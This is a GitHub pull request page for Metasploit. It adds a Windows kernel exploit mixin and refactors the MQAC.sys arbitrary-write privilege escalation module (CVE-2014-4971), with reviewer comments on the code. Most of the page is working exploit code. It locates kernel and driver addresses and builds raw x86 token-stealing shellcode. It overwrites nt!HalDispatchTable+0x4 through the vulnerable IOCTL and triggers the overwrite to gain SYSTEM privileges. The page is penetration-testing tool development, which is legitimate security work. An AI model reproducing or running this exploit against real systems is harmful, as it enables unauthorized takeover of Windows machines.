Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

WindowsKernel Exploit Mixin And Module Refactoring #3612

Merged
merged 11 commits into from
Aug 10, 2014
160 changes: 160 additions & 0 deletions lib/msf/core/exploit/local/windows_kernel.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,160 @@
# -*- coding: binary -*-

module Msf
module Exploit::Local::WindowsKernel
#
# Find the address of nt!HalDispatchTable.
#
# @return [Integer] The address of nt!HalDispatchTable.
# @return [nil] If the address could not be found.
#
def find_haldispatchtable
kernel_info = find_sys_base(nil)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

kernel_address, kernel_name = find_sys_base(nil) and return address, name later on in find_sys_base rather than an array to hold the data?

vprint_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")

h_kernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
if h_kernel['return'] == 0
print_error("Failed to load #{kernel_info[1]} (error: #{h_kernel['GetLastError']})")
return nil
end
h_kernel = h_kernel['return']

hal_dispatch_table = session.railgun.kernel32.GetProcAddress(h_kernel, 'HalDispatchTable')
if hal_dispatch_table['return'] == 0
print_error("Failed to retrieve the address of nt!HalDispatchTable (error: #{hal_dispatch_table['GetLastError']})")
return nil
end
hal_dispatch_table = hal_dispatch_table['return']

hal_dispatch_table -= h_kernel
hal_dispatch_table += kernel_info[0]
vprint_status("HalDisPatchTable Address: 0x#{hal_dispatch_table.to_s(16)}")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

HalDispatch

hal_dispatch_table
end

#
# Find the load address for a device driver on the session.
#
# @param drvname [String, nil] The name of the module to find, otherwise the kernel
# if this value is nil.
# @return [Array] An array containing the base address and the located drivers name.
# @return [nil] If the name specified could not be found.
#
def find_sys_base(drvname)
unless session.railgun.dlls.keys.include?('psapi')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why not just define the dll/function in rex/post/meterpreter/extensions/stdapi/railgun/def/def_psapi.rb? :)

session.railgun.add_dll('psapi')
session.railgun.add_function(
'psapi',
'EnumDeviceDrivers',
'BOOL',
[
%w(PBLOB lpImageBase out),
%w(DWORD cb in),
%w(PDWORD lpcbNeeded out)
])
session.railgun.add_function(
'psapi',
'GetDeviceDriverBaseNameA',
'DWORD',
[
%w(LPVOID ImageBase in),
%w(PBLOB lpBaseName out),
%w(DWORD nSize in)
])
end

results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looking at the definition for EnumDeviceDrivers it designed to be called twice to get the correct out size for the lpImageBase array if the original size isn't large enough.

addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack('V*')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Need to check this doesn't need to be a QWORD for x64? '<Q'

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Alternatively mark the mixin as x86 as we don't have a lot of x64 kernel exploits floating around :)

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Also check the value of results first


addresses.each do |address|
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
current_drvname = results['lpBaseName'][0..results['return'] - 1]
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

probably should check what the status of results and results['return'] is first

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Shouldn't return be the size of string returned in lpBaseName? So results['lpBaseName'][0,results['return']] makes more sense?

if drvname.nil?
if current_drvname.downcase.include?('krnl')
return [address, current_drvname]
end
elsif drvname == current_drvname
return [address, current_drvname]
end
end
end

#
# Open a device on a meterpreter session with a call to CreateFileA and return
# the handle. Both optional parameters lpSecurityAttributes and hTemplateFile
# are specified as nil.
#
# @param file_name [String] Passed to CreateFileA as the lpFileName parameter.
# @param desired_access [String, Integer] Passed to CreateFileA as the dwDesiredAccess parameter.
# @param share_mode [String, Integer] Passed to CreateFileA as the dwShareMode parameter.
# @param creation_disposition [String, Integer] Passed to CreateFileA as the dwCreationDisposition parameter.
# @param flags_and_attributes [String, Integer] Passed to CreateFileA as the dwFlagsAndAttributes parameter.
# @return [Integer] The device handle.
# @return [nil] If the call to CreateFileA failed.
#
def open_device(file_name, desired_access, share_mode, creation_disposition, flags_and_attributes = 0)
handle = session.railgun.kernel32.CreateFileA(file_name, desired_access, share_mode, nil, creation_disposition, flags_and_attributes, nil)
if handle['return'] == 0xffffffff
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

if you include Windows::Post::Error and add INVALID_HANDLE_VALUE as a constant etc :) (I assume that is what this is?)

print_error("Failed to open the #{file_name} device (error: #{handle['GetLastError']})")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

railgun returns 'ErrorMessage' now which is the windows text version which is often much more helpful than the error code for quick troubleshooting. Can you return that instead/aswell?

return nil
end
handle['return']
end

#
# Generate x86 token stealing shellcode suitable for use when overwriting the
# pointer at nt!HalDispatchTable+0x4. The shellcode preserves the edx and ebx
# registers.
#
# @param target [Hash] The target information containing the offsets to _KPROCESS,
# _TOKEN, _UPID and _APLINKS.
# @param backup_token [Integer] An optional location to write a copy of the
# original token to so it can be restored later.
# @param arch [String] The architecture to return shellcode for. If this is nil,
# the arch will be guessed from the target and then module information.
# @return [String] The token stealing shellcode.
# @raise [ArgumentError] If the arch is incompatible.
#
def token_stealing_shellcode(target, backup_token = nil, arch = nil)
arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch']
if arch.nil? && module_info['Arch']
arch = module_info['Arch']
arch = arch[0] if arch.class.to_s == 'Array' and arch.length == 1
end
if arch.nil?
print_error('Can not determine the target architecture')
fail ArgumentError, 'Invalid arch'
end

tokenstealing = ''
case arch
when ARCH_X86
tokenstealing << "\x52" # push edx # Save edx on the stack
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would be good to get the assembly source in the same external/ data/ locations as existing assembly usermode payloads. Although that could come later.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'm not so sure about this since the shellcode as it's provided is not a payload.

tokenstealing << "\x53" # push ebx # Save ebx on the stack
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
tokenstealing << "\x8b\xc8" # mov ecx, eax
tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
unless backup_token.nil?
tokenstealing << "\x89\x1d" + [backup_token].pack('V') # mov dword ptr ds:backup_token, ebx # Optionaly write a copy of the token to the address provided
end
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
tokenstealing << "\x75\xe8" # jne 0000101e ======================
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
tokenstealing << "\x5b" # pop ebx # Restores ebx
tokenstealing << "\x5a" # pop edx # Restores edx
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
else
# if this is reached the issue most likely exists in the exploit module
print_error('Unsupported arch for token stealing shellcode')
fail ArgumentError, 'Invalid arch'
end
tokenstealing
end
end
end
103 changes: 25 additions & 78 deletions modules/exploits/windows/local/mqac_write.rb
Original file line number Diff line number Diff line change
Expand Up @@ -4,16 +4,16 @@
##

require 'msf/core'
require 'msf/core/exploit/local/windows_kernel'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking

include Msf::Exploit::Local::WindowsKernel
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process

INVALID_HANDLE_VALUE = 0xFFFFFFFF

def initialize(info = {})
super(update_info(info,
'Name' => 'MQAC.sys Arbitrary Write Privilege Escalation',
Expand Down Expand Up @@ -41,6 +41,7 @@ def initialize(info = {})
[
['Windows XP SP3',
{
'HaliQuerySystemInfo' => 0x16bba,
'_KPROCESS' => "\x44",
'_TOKEN' => "\xc8",
'_UPID' => "\x84",
Expand All @@ -52,41 +53,13 @@ def initialize(info = {})
[
%w(CVE 2014-4971),
%w(EDB 34112),
['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt']
%w(URL https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt)
],
'DisclosureDate' => 'Jul 22 2014',
'DefaultTarget' => 0
))
end

def find_sys_base(drvname)
session.railgun.add_dll('psapi') unless session.railgun.dlls.keys.include?('psapi')
lp_image_base = %w(PBLOB lpImageBase out)
cb = %w(DWORD cb in)
lpcb_needed = %w(PDWORD lpcbNeeded out)
session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL',
[lp_image_base, cb, lpcb_needed])
image_base = %w(LPVOID ImageBase in)
lp_base_name = %w(PBLOB lpBaseName out)
n_size = %w(DWORD nSize in)
session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD',
[image_base, lp_base_name, n_size])
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack('L*')

addresses.each do |address|
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
current_drvname = results['lpBaseName'][0..results['return'] - 1]
if drvname.nil?
if current_drvname.downcase.include?('krnl')
return [address, current_drvname]
end
elsif drvname == results['lpBaseName'][0..results['return'] - 1]
return [address, current_drvname]
end
end
end

# Function borrowed from smart_hashdump
def get_system_proc
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
Expand All @@ -106,20 +79,9 @@ def get_system_proc
end
end

def open_device
handle = session.railgun.kernel32.CreateFileA('\\\\.\\MQAC',
'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, nil, 'OPEN_EXISTING', 0, nil)
handle = handle['return']
if handle == 0
print_error('Failed to open the \\\\.\\MQAC device')
return nil
end
handle
end

def check
handle = open_device
if handle.nil? || handle == INVALID_HANDLE_VALUE
handle = open_device('\\\\.\\MQAC', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
if handle.nil?
print_error('MSMQ installation not found')
return Exploit::CheckCode::Safe
end
Expand Down Expand Up @@ -155,12 +117,9 @@ def exploit
# results in a BSOD and so we should not let that happen.
return unless check == Exploit::CheckCode::Appears

kernel_info = find_sys_base(nil)
base_addr = 0xffff
print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")

handle = open_device
return if handle.nil? || handle == INVALID_HANDLE_VALUE
handle = open_device('\\\\.\\MQAC', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
return if handle.nil?

this_proc = session.sys.process.open
unless this_proc.memory.writable?(base_addr)
Expand All @@ -175,41 +134,29 @@ def exploit
return
end

hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
hKernel = hKernel['return']
halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel,
'HalDispatchTable')
halDispatchTable = halDispatchTable['return']
halDispatchTable -= hKernel
halDispatchTable += kernel_info[0]
print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}")

tokenstealing = "\x52" # push edx # Save edx on the stack
tokenstealing << "\x53" # push ebx # Save ebx on the stack
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
tokenstealing << "\x8b\xc8" # mov ecx, eax
tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
tokenstealing << "\x75\xe8" # jne 0000101e ======================
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
tokenstealing << "\x5b" # pop ebx # Restores ebx
tokenstealing << "\x5a" # pop edx # Restores edx
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!

shellcode = make_nops(0x200) + tokenstealing
haldispatchtable = find_haldispatchtable
return if haldispatchtable.nil?
print_status("HalDisPatchTable Address: 0x#{haldispatchtable.to_s(16)}")

vprint_status('Getting the hal.dll base address...')
hal_info = find_sys_base('hal.dll')
fail_with(Failure::Unknown, 'Failed to disclose hal.dll base address') if hal_info.nil?
hal_base = hal_info[0]
vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16).rjust(8, '0')}")
hali_query_system_information = hal_base + target['HaliQuerySystemInfo']

restore_ptrs = "\x31\xc0" # xor eax, eax
restore_ptrs << "\xb8" + [hali_query_system_information].pack('V') # mov eax, offset hal!HaliQuerySystemInformation
restore_ptrs << "\xa3" + [haldispatchtable + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax

shellcode = make_nops(0x200) + restore_ptrs + token_stealing_shellcode(target)
this_proc.memory.write(0x1, shellcode)
this_proc.close

print_status('Triggering vulnerable IOCTL')
session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, 0x1965020f,
1, 0x258,
halDispatchTable + 0x4, 0)
haldispatchtable + 4, 0)
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)

unless is_system?
Expand Down